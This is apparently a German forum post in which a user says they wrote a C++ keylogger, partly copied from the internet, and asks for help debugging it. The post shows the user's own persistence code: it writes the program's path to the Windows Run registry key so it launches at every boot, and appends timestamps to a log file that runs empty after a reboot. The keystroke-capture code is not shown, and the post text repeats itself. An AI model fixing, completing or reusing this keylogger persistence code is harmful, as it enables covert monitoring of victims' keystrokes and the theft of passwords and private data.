hallo zusammen,
ich habe einen keylogger in c++ geschrieben. teile des keyloggers habe ich irgendwo aus dem netz. teile davon sind von mir.
probleme habe ich bei dem autostart, den ich selber programmiert habe. ich möchte, dass das programm den pfad, in dem es sich befindet ausfindig macht, und einen eintrag in die registry macht, so dass das programm beim systemstart ausgeführt wird. hier der code:
soweit klappt auch alles: der pfad wird in die registry geschrieben und beim neustart wird das programm ausgeführt, jedenfalls steht der prozess im taskmanager.
PROBLEM: beim neustart wird nichts in die datei geschrieben, das soll aber das programm machen. obwohl der prozess läuft, wird nichts in die datei geschrieben!!
hat jemand eine ahnung woran das liegen könnte??
danke und gruß
edurne
ich habe einen keylogger in c++ geschrieben. teile des keyloggers habe ich irgendwo aus dem netz. teile davon sind von mir.
probleme habe ich bei dem autostart, den ich selber programmiert habe. ich möchte, dass das programm den pfad, in dem es sich befindet ausfindig macht, und einen eintrag in die registry macht, so dass das programm beim systemstart ausgeführt wird. hier der code:
Code:
int WINAPI WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance,
PSTR szCmdLine, int iCmdShow)
{
HANDLE hThread;
DWORD dwThread;
DWORD exThread;
char str[MAX_PATH];
GetModuleFileNameA(NULL,str,MAX_PATH);
int test,create;
test=test_key();/*check if key is available for opening*/
if (test==2)/*create key*/
{
create=create_key(str);
}
struct tm *systime;
time_t sec;
time(&sec);
systime = localtime (&sec);
FILE *file;
file=fopen("k3ys.html","a+");
fputs("<font color='green'>",file);
fputs(asctime(systime),file);
fputs("</font><br><font color='blue'>",file);
fclose(file);
}
int test_key(void)
{
int check;
HKEY hKey;
char path[BUFSIZE];
DWORD buf_length=BUFSIZE;
int reg_key;
reg_key=RegOpenKeyEx(HKEY_CURRENT_USER,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_QUERY_VALUE,&hKey);
if(reg_key!=0)
{
check=1;
return check;
}
reg_key=RegQueryValueEx(hKey,"k3ys",NULL,NULL,(LPBYTE)path,&buf_length);
if((reg_key!=0)||(buf_length>BUFSIZE))
check=2;
if(reg_key==0)
check=0;
RegCloseKey(hKey);
return check;
}
int create_key(char path[])
{
int reg_key,check;
HKEY hkey;
reg_key=RegCreateKey(HKEY_CURRENT_USER,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",&hkey);
if(reg_key==0)
{
RegSetValueEx((HKEY)hkey,"k3ys",0,REG_SZ,(BYTE *)path,strlen(path));
check=0;
return check;
}
if(reg_key!=0)
check=1;
return check;
}
PROBLEM: beim neustart wird nichts in die datei geschrieben, das soll aber das programm machen. obwohl der prozess läuft, wird nichts in die datei geschrieben!!
hat jemand eine ahnung woran das liegen könnte??
danke und gruß
edurne